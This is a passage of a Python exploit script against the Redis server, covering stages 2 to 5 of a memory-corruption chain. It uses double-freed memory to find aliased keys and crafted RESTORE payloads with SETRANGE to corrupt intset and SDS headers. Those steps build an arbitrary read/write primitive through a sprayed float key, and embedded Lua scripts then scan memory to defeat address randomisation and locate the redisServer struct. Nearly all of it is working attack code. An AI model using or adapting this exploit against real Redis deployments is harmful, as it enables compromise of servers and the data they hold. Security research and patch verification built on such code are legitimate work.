return keys
def _stage2_find_overlapped_keys(ctx: ExploitContext, keys: List[Tuple[str, bytes]]) -> Tuple[str, str]:
"""
Detect which keys share the same memory (double-freed chunk).
Returns tuple of (key1, key2) that are aliased.
"""
log_start("DETECT", "Searching for overlapped key pairs")
marker_len = 1
overlapped_key_pairs = None
for (key, marker) in keys:
reply = ctx.redis.send_command(["GETRANGE", key, str(TYPE1_FIELD_LENGTH - marker_len), str(TYPE1_FIELD_LENGTH - 1)])
log_debug("GETRANGE", f"{key} -> {reply!r} (expected {marker!r})")
if reply == marker:
continue
# Marker mismatch - find which key this marker belongs to
for (key2, marker2) in keys:
if reply == marker2:
overlapped_key_pairs = (key, key2)
break
assert overlapped_key_pairs is not None, \
f"[STAGE {CURRENT_STAGE}] marker for {key} is {reply} but no overlapped key found"
break
assert overlapped_key_pairs is not None, \
f"[STAGE {CURRENT_STAGE}] No overlapped key pairs found"
key1, key2 = overlapped_key_pairs
log_milestone("FOUND", f"Found overlapped key pair: {key1} and {key2}")
return key1, key2
def _stage2_corrupt_intset_and_create_memview(ctx: ExploitContext, key1: str, key2: str, keys: List[Tuple[str, bytes]]) -> str:
"""
Trigger intset corruption to create a 1MB memview (old intset approach).
Steps:
1. Delete key1 to release double-freed memory
2. Reallocate as intset via SADD (lands on freed chunk)
3. Corrupt intset length via SETRANGE on overlapping key2
4. SREM triggers intsetMoveTail() with corrupted length, overwriting memview SDS header
5. Find and return the memview key (now reports 1MB+ length)
See STAGE2.md "Alternative: Old Intset Approach" for details.
"""
log_start("CORRUPT", "Corrupting intset to create large memview")
# Delete key1 and reallocate as intset
ctx.redis.send_command(["DEL", key1])
reply = ctx.redis.send_command(["STRLEN", key2])
log_debug("STRLEN", f"Length of {key2} before SADD: {reply}")
ctx.redis.send_command(["SADD", ctx.int_set_key, str(_STAGE12_CONST_START + TYPE1_STAGE12_SET_LENGTH + 1)])
reply = ctx.redis.send_command(["STRLEN", key2])
log_debug("STRLEN", f"Length of {key2} after SADD: {reply}")
assert reply == 4, f"[STAGE {CURRENT_STAGE}] length for {key2} after SADD is not 4: {reply!r}"
# Corrupt intset length via overlapping key2
set_length = ctx.redis.send_command(["SCARD", ctx.int_set_key])
log_debug("SCARD", f"Intset length before corruption: {set_length}")
assert set_length == TYPE1_STAGE12_SET_LENGTH + 1
ctx.redis.send_command(["SETRANGE", key2, "0", b"\x01"])
set_length = ctx.redis.send_command(["SCARD", ctx.int_set_key])
log_debug("SCARD", f"Intset length after corruption: {set_length}")
assert set_length > TYPE1_STAGE12_SET_LENGTH
# Trigger intsetMoveTail() with corrupted length, overwrites memview SDS header
ctx.redis.send_command(["SREM", ctx.int_set_key, str(_STAGE12_CONST_START)])
# Find the memview key (now reports 1MB+ length)
memview_key = None
for (key, _) in keys:
reply = int(ctx.redis.send_command(["STRLEN", key]))
log_debug("STRLEN", f"{key} -> {reply}")
if reply >= MEMVIEW_LENGTH:
memview_key = key
break
assert memview_key is not None, f"[STAGE {CURRENT_STAGE}] No memview key found"
log_milestone("MEMVIEW", f"Found memview key {memview_key} with length {reply}")
return memview_key
def _stage2_corrupt_via_plain_string_restore_way1(ctx: ExploitContext, key1: str, key2: str, keys: List[Tuple[str, bytes]]) -> str:
"""
Create 1MB memview via plain string RESTORE (zipmap way).
RESTORE creates a plain string (no SDS header prepended) containing our payload.
Two-step corruption: first to sdshdr16 (65535 bytes), then to sdshdr32 (1MB).
See STAGE2.md for details.
"""
log_start("CORRUPT", "Creating memview via plain string RESTORE")
ctx.redis.send_command(["DEL", key1])
payload = bytearray()
intset_payload_length = TYPE1_FIELD_LENGTH + 5
total_payload_length = intset_payload_length * 3
intset_payload = b"\xFF\xFF\xFF\xFF\x02"
intset_payload += b"L" * (intset_payload_length - len(intset_payload))
payload.append(RDB_TYPE_SET_INTSET)
payload += rdb_encode_length(len(intset_payload))
payload += intset_payload
payload += b"M" * (total_payload_length - len(payload))
blob = make_restore_blob(bytes(payload), rdb_version=ctx.rdb_version)
msg = ctx.redis.send_command(["RESTORE", "intset:0", "0", blob], expect_error=True)
log_debug("STAGE2_PLAIN_STRING_RESTORE", f"RESTORE response: {msg}")
key2_length = ctx.redis.send_command(["STRLEN", key2])
log_info("STAGE2_PLAIN_STRING_RESTORE", f"Key2 length after RESTORE: {key2_length}")
assert key2_length > 60000, f"[STAGE {CURRENT_STAGE}] Key2 length after RESTORE is not greater than 60000: {key2_length}"
data = ctx.redis.send_command(["GETRANGE", key2, str(0), str(key2_length - 1)])
memview_key = None
for key, marker in keys:
pattern = MEMVIEW_SDS_HEADER + marker
idx = data.find(pattern)
if idx == -1:
continue
log_debug("STAGE2_PLAIN_STRING_RESTORE", f"Found pattern for {key} at {idx} in {key2}")
if idx < len(MEMVIEW_SDS_HEADER):
log_debug("STAGE2_PLAIN_STRING_RESTORE", f"For some reason idx < len(MEMVIEW_KEY_ORIGINAL_PREFIX): {idx}")
continue
ctx.redis.send_command(["SETRANGE", key2, str(idx - len(MEMVIEW_SDS_HEADER)), MEMVIEW_SDS_HEADER])
new_len = ctx.redis.send_command(["STRLEN", key])
if new_len < MEMVIEW_LENGTH:
log_debug("STAGE2_PLAIN_STRING_RESTORE", f"New length for {key} is not greater than MEMVIEW_LENGTH: {new_len}")
continue
memview_key = key
break
assert memview_key is not None, f"[STAGE {CURRENT_STAGE}] No memview key found"
log_milestone("STAGE2_PLAIN_STRING_RESTORE", f"Found memview key {memview_key} in {key2}")
return memview_key
def _stage2_create_overlap_and_corrupt_memview_way1(args: argparse.Namespace, ctx: ExploitContext) -> None:
"""
Orchestrate memory overlap detection and memview creation (zipmap way).
Steps:
1. Create keys with unique markers (A-Z)
2. Detect which keys share memory (double-free aliasing)
3. Create 1MB memview via RESTORE + SETRANGE corruption
"""
# Create keys with unique markers
keys = _stage2_create_overlap_keys(ctx)
# Spray float keys for Stage 3
_stage2_spray_float_keys(ctx)
key1, key2 = _stage2_find_overlapped_keys(ctx, keys)
if args.plain_string_stage2:
ctx.memview_key = _stage2_corrupt_via_plain_string_restore_way1(ctx, key1, key2, keys)
else:
# Corrupt intset and create memview
ctx.memview_key = _stage2_corrupt_intset_and_create_memview(ctx, key1, key2, keys)
def _stage2_find_overlapped_keys_way2(ctx: ExploitContext) -> Tuple[Optional[str], Optional[str]]:
"""
Extend each marker key to target_size bytes using SETRANGE.
SETRANGE hui:X (target_size - marker_len) X -> extends with marker at end.
This converts EMBSTR to RAW, allocating a new SDS buffer.
Returns: (corrupted_key, corrupting_key) if overlap detected, else (None, None)
"""
for i in range(ctx.way2_key_count):
key = f"x:{i:04d}"
reply = ctx.redis.send_command(["STRLEN", key])
log_debug("STRLEN", f"Length of {key} -> {reply}")
assert reply == ctx.way2_key_len, f"[STAGE {CURRENT_STAGE}] length for {key} is not {ctx.way2_key_len}: {reply}"
data = ctx.redis.send_command(["GET", key])
log_debug("GET", f"Data for {key} -> {data!r}")
prefix = data[:4]
suffix = data[4:]
assert suffix == b"\x00X" + b"\x00" * (ctx.way2_key_len - len(prefix) - 3) + b"X", f"[STAGE {CURRENT_STAGE}] suffix for {key} is invalid: {suffix}"
prefix = int(prefix)
if prefix >= 0 and prefix < ctx.way2_key_count and prefix != i:
key1 = f"x:{i:04d}"
key2 = f"x:{prefix:04d}"
return key1, key2
assert False, "key overlap not found"
def _stage2_corrupt_via_plain_string_restore_way2(ctx: ExploitContext, key1: str, key2: str) -> str:
"""
Create 1MB memview via plain string RESTORE (stream way).
RESTORE creates a plain string containing our payload.
Two-step corruption: first to sdshdr8 (255 bytes), then to sdshdr32 (1MB).
See STAGE2.md for details.
"""
log_start("CORRUPT", "Creating memview via plain string RESTORE")
_stage2_spray_float_keys(ctx)
payload = bytearray()
intset_payload_length = ctx.STREAM_STRUCT_SIZE
total_payload_length = intset_payload_length * 3
intset_payload = b"\xFF\xFF\x01"
intset_payload += b"L" * (intset_payload_length - len(intset_payload))
payload.append(RDB_TYPE_SET_INTSET)
payload += rdb_encode_length(len(intset_payload))
payload += intset_payload
payload += b"M" * (total_payload_length - len(payload))
blob = make_restore_blob(bytes(payload), rdb_version=ctx.rdb_version)
if ctx.STREAM_STRUCT_SIZE == 24:
# Use Lua script to perform the DEL and SETRANGE commands atomically
lua_script = """
local way2_key_count = tonumber(ARGV[1])
local blob = ARGV[2]
local key2 = ARGV[3]
local key1 = ARGV[4]
redis.call("DEL", key1)
for i=1,2 do
local key = string.format("x:%04d", way2_key_count - i)
redis.call("DEL", key)
end
redis.call("SETRANGE", "t1", 0, "x")
redis.call("SETRANGE", "t2", 0, "x")
redis.call("SETRANGE", "t3", 0, "x")
redis.call("SETRANGE", "t4", 0, "x")
redis.call("SETRANGE", "t5", 0, "x")
local ok, err = pcall(function()
return redis.call("RESTORE", "intset:0", "0", blob)
end)
for i=3, 10 do
local key = string.format("x:%04d", way2_key_count - i)
redis.call("DEL", key)
end
return redis.call("STRLEN", key2)
"""
reply = ctx.redis.send_command([
"EVAL", lua_script, "0", str(ctx.way2_key_count), blob, key2, key1
])
log_debug("STAGE2_PLAIN_STRING_RESTORE", f"strlen response: {reply}")
else:
ctx.redis.send_command(["DEL", key1])
msg = ctx.redis.send_command(["RESTORE", "intset:0", "0", blob], expect_error=True)
log_debug("STAGE2_PLAIN_STRING_RESTORE", f"RESTORE response: {msg}")
key2_length = ctx.redis.send_command(["STRLEN", key2])
log_info("STAGE2_PLAIN_STRING_RESTORE", f"Key2 length after RESTORE: {key2_length}")
assert key2_length >= 100, f"[STAGE {CURRENT_STAGE}] Key2 length after RESTORE is not less than 128: {key2_length}"
data = ctx.redis.send_command(["GETRANGE", key2, str(0), str(min(key2_length - 1, 255))])
log_debug("GETRANGE", f"{key2} -> {data}")
memview_key = None
for i in range(ctx.way2_key_count):
key = f"x:{i:04d}"
if key == key1 or key == key2:
continue
pattern = bytearray(ctx.way2_key_len)
pattern[:4] = f"{i:04d}".encode()
pattern[5] = ord('X')
pattern[ctx.way2_key_len - 1] = ord('X')
idx = data.find(pattern)
if idx == -1:
continue
log_debug("STAGE2_PLAIN_STRING_RESTORE", f"Found pattern for {key} at {idx} in {key2}")
if idx < len(MEMVIEW_SDS_HEADER):
log_debug("STAGE2_PLAIN_STRING_RESTORE", f"For some reason idx < len(MEMVIEW_KEY_ORIGINAL_PREFIX): {idx}")
continue
ctx.redis.send_command(["SETRANGE", key2, str(idx), 'z'])
data = ctx.redis.send_command(["GETRANGE", key, str(0), str(0)])
if data != b'z':
log_debug("STAGE2_PLAIN_STRING_RESTORE", f"Data for {key} is not controlled, skipping")
continue
log_milestone("STAGE2_PLAIN_STRING_RESTORE", f"Data for {key} is controlled via {key2}")
key2_len = ctx.redis.send_command(["STRLEN", key2])
log_debug("strlen", f"length of {key2} before SETRANGE: {key2_len}")
old_len = ctx.redis.send_command(["STRLEN", key])
log_debug("strlen", f"length of {key} before SETRANGE: {old_len}")
# write pattern byte by byte - otherwise we'll get an overwrite error
for p in range(len(MEMVIEW_SDS_HEADER)):
ctx.redis.send_command(["SETRANGE", key2, str(idx - len(MEMVIEW_SDS_HEADER) + p), bytes([MEMVIEW_SDS_HEADER[p]])])
key2_len = ctx.redis.send_command(["STRLEN", key2])
log_debug("strlen", f"length of {key2} after SETRANGE: {key2_len}")
new_len = ctx.redis.send_command(["STRLEN", key])
log_debug("strlen", f"length of {key} after SETRANGE: {new_len}")
if new_len < MEMVIEW_LENGTH:
log_debug("STAGE2_PLAIN_STRING_RESTORE", f"New length for {key} is not greater than MEMVIEW_LENGTH: {new_len}")
continue
memview_key = key
break
assert memview_key is not None, f"[STAGE {CURRENT_STAGE}] No memview key found"
log_milestone("STAGE2_PLAIN_STRING_RESTORE", f"Found memview key {memview_key} in {key2}")
return memview_key
def _stage2_create_overlap_and_corrupt_memview_way2(args: argparse.Namespace, ctx: ExploitContext) -> None:
key1, key2 = _stage2_find_overlapped_keys_way2(ctx)
log_milestone("SUCCESS", f"Found overlapped keys: {key1} and {key2}")
ctx.memview_key = _stage2_corrupt_via_plain_string_restore_way2(ctx, key1, key2)
log_milestone("SUCCESS", f"Created memview key: {ctx.memview_key}")
def stage2_create_memory_overlap(args: argparse.Namespace, ctx: ExploitContext) -> None:
"""
Create overlapping objects and corrupt SDS header to get 1MB memview.
Uses the double-freed memory to create overlapping keys. RESTORE creates
a plain string that overwrites an overlapping key's SDS header. Two-step
corruption expands visible range: sdshdr16/8 first, then sdshdr32 (1MB).
The 1MB limit avoids RDB corruption if SAVE occurs.
See STAGE2.md for full technical details.
"""
assert ctx.redis is not None, f"[STAGE {CURRENT_STAGE}] Must connect to Redis first (stage0)"
# Create overlap and corrupt memview header to get ~4GB string
if args.vuln_type == "zipmap":
_stage2_create_overlap_and_corrupt_memview_way1(args, ctx)
else:
_stage2_create_overlap_and_corrupt_memview_way2(args, ctx)
# Verify memview is now huge
memview_len = int(ctx.redis.send_command(["STRLEN", ctx.memview_key]))
assert memview_len >= MEMVIEW_LENGTH, f"[STAGE {CURRENT_STAGE}] memview too small: {memview_len}"
###############################################################################
# Stage 3: Arbitrary R/W Primitive
###############################################################################
def _stage3_verify_controlled_key(ctx: ExploitContext, controlled_key: str, memview_key: str, value_data_offset: int) -> bool:
"""
Verify we can control the key by modifying it via memview.
Returns True if control is confirmed, False otherwise.
"""
old_value = ctx.redis.send_command(["GET", controlled_key])
log_debug("TEST", f"Testing control of {controlled_key}, current value: {old_value!r}")
old_data = ctx.redis.send_command(["GETRANGE", memview_key, str(value_data_offset), str(value_data_offset + 2)])
if len(old_data) != 3:
log_debug("TEST", f"Old data at {value_data_offset} is not 3 bytes: {len(old_data)}")
return False
# Modify via memview
ctx.redis.send_command(["SETRANGE", memview_key, str(value_data_offset), b"hui"])
new_value = ctx.redis.send_command(["GET", controlled_key])
if new_value == old_value:
log_debug("TEST", f"Value unchanged, no control over {controlled_key}")
ctx.redis.send_command(["SETRANGE", memview_key, str(value_data_offset), old_data])
return False
log_milestone("CONTROL", f"Successfully verified control of key {controlled_key}")
return True
def _stage3_validate_new_format_candidate(ctx: ExploitContext, data: bytes, value_idx: int, digits_end: int, six_digits: bytes) -> Optional[int]:
"""
Validate candidate for new Redis 8.x format:
<ptr><any byte>`float:<6 digits>\x00<any byte><any byte>1337.<same 6 digits>
Returns ptr_idx if valid, None otherwise.
"""
ptr_idx = value_idx - (8 + 1 + len(b"`float:") + 6 + 1 + 3)
if ptr_idx < 0:
log_debug("VALIDATE", f"ptr_idx < 0: {ptr_idx}")
return None
candidate = data[ptr_idx:digits_end]
# Check ptr is in heap range
ptr = int.from_bytes(candidate[:8], "little", signed=False)
if ptr < ctx.HEAP_ADDR_MIN or ptr > ctx.HEAP_ADDR_MAX:
log_debug("VALIDATE", f"Ptr not in heap: {ptr:016x}")
return None
# Check "`float:" marker
candidate = candidate[9:]
if candidate[:7] != b"`float:":
log_debug("VALIDATE", f"Missing `float: marker, got: {candidate[:7]!r}")
return None
candidate = candidate[len(b"`float:"):]
# Validate key digits
key_digits = candidate[:6]
if not all(ord('0') <= c <= ord('9') for c in key_digits):
log_debug("VALIDATE", f"Invalid key digits: {key_digits!r}")
return None
if candidate[6] != 0:
log_debug("VALIDATE", f"Missing null terminator, got: {candidate[6]}")
return None
# Verify key_digits + 1 == six_digits
if int(key_digits) + 1 != int(six_digits):
log_debug("VALIDATE", f"Digit mismatch: {key_digits} + 1 != {six_digits}")
return None
log_debug("VALIDATE", f"New format validated at ptr_idx={ptr_idx}")
return ptr_idx
def _stage3_validate_old_format_candidate(ctx: ExploitContext, data: bytes, value_idx: int, digits_end: int) -> Optional[int]:
"""
Validate candidate for old Redis 7.x format:
<ref_count><ptr><sds_hdr>1337.<6 digits>
Returns ptr_idx if valid, None otherwise.
"""
struct_idx = value_idx - (3 + 8 + 4)
if struct_idx < 0:
return None
candidate = data[struct_idx:digits_end]
# Check ref count
ref_count = int.from_bytes(candidate[:4], "little", signed=False)
if ref_count != 1:
return None
ptr_idx = struct_idx + 4
# Check ptr is in heap range
ptr = int.from_bytes(candidate[4:12], "little", signed=False)
if ptr < ctx.HEAP_ADDR_MIN or ptr > ctx.HEAP_ADDR_MAX:
return None
# Check SDS header
sds_hdr = candidate[12:15]
if sds_hdr != b"\x16\x16\x01":
return None
log_debug("VALIDATE", f"Old format validated at ptr_idx={ptr_idx}")
return ptr_idx
def _stage3_find_float_key(ctx: ExploitContext) -> Tuple[str, int, int]:
"""
Scan memview to find a controllable float key.
Searches for the pattern "1337.NNNNN" in memview, then validates
the corresponding float key structure and verifies we can control it.
Returns: (controlled_key, controlled_ptr_offset, memview_base_addr)
"""
log_start("SCAN", "Scanning memview for controllable float keys")
memview_key = ctx.memview_key
offset = 0
step = 65536
while True:
log_debug("PROGRESS", f"Scanning at offset {offset:#x}")
# Read chunk of memview
data = ctx.redis.send_command(["GETRANGE", memview_key, str(offset), str(offset + step - 1)])
assert data, "Empty data from memview"
start_search = 0
while True:
# Search for "1337.NNNNNN" pattern
value_idx = data.find(b"1337.", start_search)
if value_idx == -1:
break # No more candidates in this chunk
start_search = value_idx + 1
# Extract and validate the 6 digits
digits_start = value_idx + len(b"1337.")
digits_end = digits_start + 6
if digits_end > len(data):
continue
digits = data[digits_start:digits_end]
if not all(ord('0') <= c <= ord('9') for c in digits):
log_debug("SCAN", f"Invalid digits: {digits!r}")
continue
six_digits = digits
controlled_key = f"float:{int(six_digits)-1:06d}"
value_data_offset = offset + value_idx
log_debug("CANDIDATE", f"Found pattern at offset {value_data_offset}, testing {controlled_key}")
# Verify we can control this key via memview
if not _stage3_verify_controlled_key(ctx, controlled_key, memview_key, value_data_offset):
continue
# Try to validate format (new format first, then old)
ptr_idx = _stage3_validate_new_format_candidate(ctx, data, value_idx, digits_end, six_digits)
if ptr_idx is None:
ptr_idx = _stage3_validate_old_format_candidate(ctx, data, value_idx, digits_end)
if ptr_idx is None:
log_debug("FORMAT", f"Failed to validate format for {controlled_key}")
continue
# Success! Calculate addresses
key_ptr_offset = offset + ptr_idx
ptr_bytes = ctx.redis.send_command(["GETRANGE", memview_key, str(key_ptr_offset), str(key_ptr_offset + 0x7)])
controlled_original_ptr = int.from_bytes(ptr_bytes, "little", signed=False)
log_debug("PTR", f"Loaded ptr: {controlled_original_ptr:016x}")
memview_base_addr = controlled_original_ptr - value_data_offset
log_milestone("FOUND", f"Calculated memview base address: {memview_base_addr:016x}")
return controlled_key, key_ptr_offset, memview_base_addr
# Move to next chunk
offset += step
if offset > 10 * 1024 * 1024: # Safety limit at 10MB
break
raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Failed to find float key pattern")
def stage3_find_controllable_object(args: argparse.Namespace, ctx: ExploitContext) -> None:
"""
Find a float key we can control via memview to get arbitrary R/W.
Strategy:
1. Scan memview for "1337.NNNNNN" pattern (sprayed in stage2)
2. Validate struct layout (Redis 8.x kvobj vs 7.x EMBSTR)
3. Verify control by modifying via memview, checking via GET
4. Calculate memview base address from the ptr field value
Result: Arbitrary read/write via redirecting the float key's pointer.
See STAGE3.md for full technical details.
"""
assert ctx.redis is not None, f"[STAGE {CURRENT_STAGE}] Must connect to Redis first (stage0)"
assert ctx.memview_key is not None, f"[STAGE {CURRENT_STAGE}] Must complete stage2 first"
# Find float key pattern in memview and get all values
controlled_key, controlled_ptr_offset, memview_base_addr = _stage3_find_float_key(ctx)
# Store values in context
ctx.controlled_key = controlled_key
ctx.controlled_ptr_offset = controlled_ptr_offset
ctx.memview_base_addr = memview_base_addr
###############################################################################
# Stage 4: Find Binary Address
###############################################################################
def _stage4_scan_memory_backward_lua(
ctx: ExploitContext,
start_addr: int,
description: str,
max_iterations: int = 10_000_000
) -> int:
"""Scan backwards through memory using Lua with full validation logic.
Uses STRLEN as probe (returns 0 on invalid SDS, doesn't crash).
Validates candidates: PIE range, byte diversity, alignment checks.
"""
assert ctx.redis is not None
assert ctx.controlled_key and ctx.controlled_ptr_offset is not None
# Full Lua implementation with validation
lua_full_scan_script = """
local memview_key = ARGV[1]
local controlled_key = ARGV[2]
local ptr_offset = tonumber(ARGV[3])
local start_ptr = tonumber(ARGV[4])
local last_ptr = tonumber(ARGV[5])
local binary_addr_min = tonumber(ARGV[6])
local binary_addr_max = tonumber(ARGV[7])
local max_iters = 10000
-- Convert start_ptr to byte array (little-endian, 8 bytes)
local ptr_bytes = {}
local p = start_ptr
for j = 1, 8 do
ptr_bytes[j] = p % 256
p = math.floor(p / 256)
end
-- Helper function to decrement byte array (base-256 arithmetic)
local function decrement_bytes(bytes)
for i = 1, 8 do
if bytes[i] > 0 then
bytes[i] = bytes[i] - 1
break
else
bytes[i] = 255 -- Borrow from next byte
end
end
end
-- Helper function to convert byte array to string
local function bytes_to_string(bytes)
local s = ""
for i = 1, 8 do
s = s .. string.char(bytes[i])
end
return s
end
-- Helper function to convert byte array back to number
local function bytes_to_number(bytes)
local result = 0
local multiplier = 1
for i = 1, 8 do
result = result + bytes[i] * multiplier
multiplier = multiplier * 256
end
return result
end
-- Helper to extract 64-bit little-endian value from string at offset
local function extract_u64_le(data, offset)
local result = 0
local multiplier = 1
for i = 0, 7 do
local byte_val = string.byte(data, offset + i + 1)
if not byte_val then return nil end
result = result + byte_val * multiplier
multiplier = multiplier * 256
end
return result
end
-- Validator for binary addresses
local function is_binary_ptr(read_from, addr)
-- Check address is in binary range
if addr <= binary_addr_min or addr >= binary_addr_max then
return false
end
-- Check for at least 2 different bytes (diversity check)
local bytes = {}
local temp = addr
for i = 1, 8 do
bytes[i] = temp % 256
temp = math.floor(temp / 256)
end
local unique = {}
for i = 1, 8 do
unique[bytes[i]] = true
end
local unique_count = 0
for _ in pairs(unique) do
unique_count = unique_count + 1
end
if unique_count <= 2 then
return false
end
-- Check addr & 0xFF != 0 (ubuntu false positive)
if addr % 256 == 0 then
return false
end
-- Check struct alignment: addr & 0xF in [0, 8]
local addr_align = addr % 16
if addr_align ~= 0 and addr_align ~= 8 then
return false
end
-- Check original ptr alignment: read_from & 0xF in [0, 8]
local read_align = read_from % 16
if read_align ~= 0 and read_align ~= 8 then
return false
end
return true
end
for idx = 0, max_iters - 1 do
local cur_ptr = bytes_to_number(ptr_bytes)
-- Check if we need to handle the "last_ptr - 8" region
if cur_ptr <= last_ptr - 8 then
-- Point controlled key to cur_ptr
local ptr_string = bytes_to_string(ptr_bytes)
redis.call("SETRANGE", memview_key, ptr_offset, ptr_string)
-- Probe with STRLEN
local cur_len = redis.call("STRLEN", controlled_key)
-- Limit scan range to avoid re-scanning
if cur_ptr + cur_len > last_ptr then
cur_len = last_ptr - cur_ptr
last_ptr = cur_ptr + 7
end
if cur_len > 7 then
-- Read data and search for candidates
local data = redis.call("GETRANGE", controlled_key, "0", tostring(cur_len - 1))
-- Scan through data for valid pointers
for i = 0, #data - 8 do
local candidate = extract_u64_le(data, i)
if candidate then
local read_from = cur_ptr + i
if is_binary_ptr(read_from, candidate) then
-- Found valid candidate!
return {"FOUND", candidate, read_from, idx + 1}
end
end
end
end
end
-- Decrement pointer
decrement_bytes(ptr_bytes)
end
-- Exhausted max_iters without finding valid candidate
return {"CONTINUE", bytes_to_number(ptr_bytes), last_ptr, max_iters}
"""
cur_ptr = start_addr
last_ptr = start_addr
total_iterations = 0
log_start("LUA-SCAN", "Using full Lua implementation for stage4 scanning")
while total_iterations < max_iterations:
if total_iterations % 100000 == 0:
log_info("SCAN", f"scanning backwards from {cur_ptr:016x}, iteration {total_iterations}")
result = ctx.redis.send_command([
"EVAL", lua_full_scan_script, "0",
ctx.memview_key,
ctx.controlled_key,
str(ctx.controlled_ptr_offset),
str(cur_ptr),
str(last_ptr),
str(ctx.BINARY_ADDR_MIN),
str(ctx.BINARY_ADDR_MAX)
])
status = result[0].decode('utf-8') if isinstance(result[0], bytes) else result[0]
if status == "FOUND":
candidate = int(result[1])
read_from = int(result[2])
iterations = int(result[3])
total_iterations += iterations
log_info("FOUND", f"valid address {candidate:016x} found at {read_from:016x}")
log_info("STATS", f"Total iterations: {total_iterations}")
return candidate
elif status == "CONTINUE":
cur_ptr = int(result[1])
last_ptr = int(result[2])
iterations = int(result[3])
total_iterations += iterations
else:
raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Unexpected Lua result status: {status}")
raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Failed to find {description} after {total_iterations} iterations")
def _stage4_scan_memory_backward_python(
ctx: ExploitContext,
start_addr: int,
validator: callable,
description: str,
max_iterations: int = 1_000_000
) -> int:
"""Scan backwards through memory using Python (fallback, slower)."""
assert ctx.redis is not None
assert ctx.controlled_key and ctx.controlled_ptr_offset is not None
cur_ptr = start_addr
last_ptr = start_addr
for idx in range(max_iterations):
if idx % 100 == 0:
log_info("SCAN", f"scanning backwards from {cur_ptr:016x} to {last_ptr:016x}, iteration {idx}")
if cur_ptr > last_ptr - 8:
cur_ptr -= 1
continue
# Point controlled key to cur_ptr
ctx.redis.send_command(["SETRANGE", ctx.memview_key, str(ctx.controlled_ptr_offset), p64(cur_ptr)])
# Probe with STRLEN
cur_len = int(ctx.redis.send_command(["STRLEN", ctx.controlled_key]))
# Limit scan range to avoid re-scanning known regions
if cur_ptr + cur_len > last_ptr:
cur_len = last_ptr - cur_ptr
last_ptr = cur_ptr + 7
if cur_len > 0:
data = ctx.redis.send_command(["GETRANGE", ctx.controlled_key, "0", str(cur_len - 1)])
for i in range(0, len(data) - 8):
candidate = int.from_bytes(data[i:i+8], "little")
read_from = cur_ptr + i
if validator(read_from, candidate):
log_info("FOUND", f"valid address {candidate:016x} found at {cur_ptr + i:016x}")
return candidate
cur_ptr -= 1
raise RuntimeError(f"[STAGE {CURRENT_STAGE}] Failed to find {description} after {max_iterations} iterations")
def stage4_find_binary_address(args: argparse.Namespace, ctx: ExploitContext) -> None:
"""
Scan backwards through memory to find a pointer into Redis binary.
Problem: Redis has no "read memory at address" primitive - STRLEN needs
valid SDS headers. Solution: Probe with STRLEN (returns 0 on invalid SDS,
doesn't crash), scan readable regions for 64-bit values in PIE range.
Two implementations:
- Lua (default): Full validation server-side, faster
- Python (--no-stage4-lua-helper): Per-probe scanning, easier to debug
See STAGE4.md for full technical details.
"""
assert ctx.redis is not None, f"[STAGE {CURRENT_STAGE}] Must connect to Redis first (stage0)"
assert ctx.controlled_key and ctx.controlled_ptr_offset is not None, f"[STAGE {CURRENT_STAGE}] Must complete stage3 first"
assert ctx.memview_base_addr is not None, f"[STAGE {CURRENT_STAGE}] Must complete stage3 first"
log_start("SCAN", f"Starting backward memory scan from {ctx.memview_base_addr:016x}")
if args.no_stage4_lua_helper or args.binary_addr_skip > 0:
# Python path: Traditional scanning without Lua
log_info("SCAN", "Using Python implementation (Lua disabled)")
good_to_skip = args.binary_addr_skip
# Validator for binary addresses
def is_binary_ptr(read_from: int, addr: int) -> bool:
nonlocal good_to_skip
good = ctx.BINARY_ADDR_MIN < addr < ctx.BINARY_ADDR_MAX
good &= len(set(p64(addr))) > 2 # at least 2 different bytes
good &= addr & 0xFF != 0 # ubuntu false positive
good &= addr & 0xF in [0, 8] # struct alignment
good &= read_from & 0xF in [0, 8] # original ptr alignment
if good and good_to_skip > 0:
good_to_skip -= 1
log_error(f"Skipping binary address {addr:016x} (good_to_skip={good_to_skip})")
return False
return good
ctx.binary_ptr = _stage4_scan_memory_backward_python(
ctx,
ctx.memview_base_addr,
is_binary_ptr,
"binary address"
)
else:
# Lua path: Full implementation in Lua
log_info("SCAN", "Using Lua implementation (full validation in Lua)")
ctx.binary_ptr = _stage4_scan_memory_backward_lua(
ctx,
ctx.memview_base_addr,
"binary address"
)
log_milestone("FOUND", f"Binary address found: {ctx.binary_ptr:016x}")
###############################################################################
# Stage 5: Locate Server Struct
###############################################################################
def _stage5_is_heap_address(ctx: ExploitContext, addr: int) -> bool:
"""Check if address is in heap range."""
return ctx.HEAP_ADDR_MIN < addr < ctx.HEAP_ADDR_MAX
def _stage5_validate_server_struct_candidate(ctx: ExploitContext, data: bytes, i: int) -> bool:
"""
Validate 8 fields of potential redisServer struct.
Expected layout:
[0] PID (nonzero, < 2^32)
[1] Heap address (thread handle)
[2] NULL or heap address (config file path)
[3] Heap address (executable)
[4] Heap address (argv array)
[5] Nonzero with specific bit pattern (dynamic hz)
[6] Nonzero with specific bit pattern (config hz)
[7] (unused in validation)
"""
fields = []
for idx in range(8):
field = int.from_bytes(data[i+idx*8:i+(idx+1)*8], "little", signed=False)
fields.append(field)
# Validate each field
checks = [
fields[0] != 0 and fields[0] < 2 ** 32, # PID
_stage5_is_heap_address(ctx, fields[1]), # thread handle
fields[2] == 0 or _stage5_is_heap_address(ctx, fields[2]), # config file (optional)
_stage5_is_heap_address(ctx, fields[3]), # executable
_stage5_is_heap_address(ctx, fields[4]), # argv array
fields[5] != 0 and (fields[5] & 0xFFFF00000FFFF0000) == 0, # dynamic hz
fields[6] != 0 and (fields[6] & 0xFFFF00000FFFF0000) == 0, # config hz
]
if all(checks):
log_debug("VALIDATE", f"Server struct candidate validated:")
for idx, field in enumerate(fields):
log_debug("FIELD", f" server[{idx}] = {field:016x}")
return True
return False
def _stage5_locate_server_struct_lua(ctx: ExploitContext) -> Tuple[int, int]:
"""Scan for redisServer struct using Lua with state machine.
Uses state machine to avoid Lua timeout: tracks (ptr, scan_len, pos)
across calls. Returns both struct address and readable pointer
(struct address may not have valid SDS header).
"""
log_start("LUA-SCAN", "Using full Lua implementation for stage5 server struct scanning")
# Lua script with proper state tracking for large readable regions
lua_server_scan_script = """
local memview_key = ARGV[1]
local controlled_key = ARGV[2]
local ptr_offset = tonumber(ARGV[3])
local max_iters = 1000
local chunk_size = 4096 -- Match Python's chunk size
-- State: ptr (8 bytes), scan_len (number), pos (number)
local ptr = {}
for i = 1, 8 do
ptr[i] = string.byte(ARGV[4], i)
end
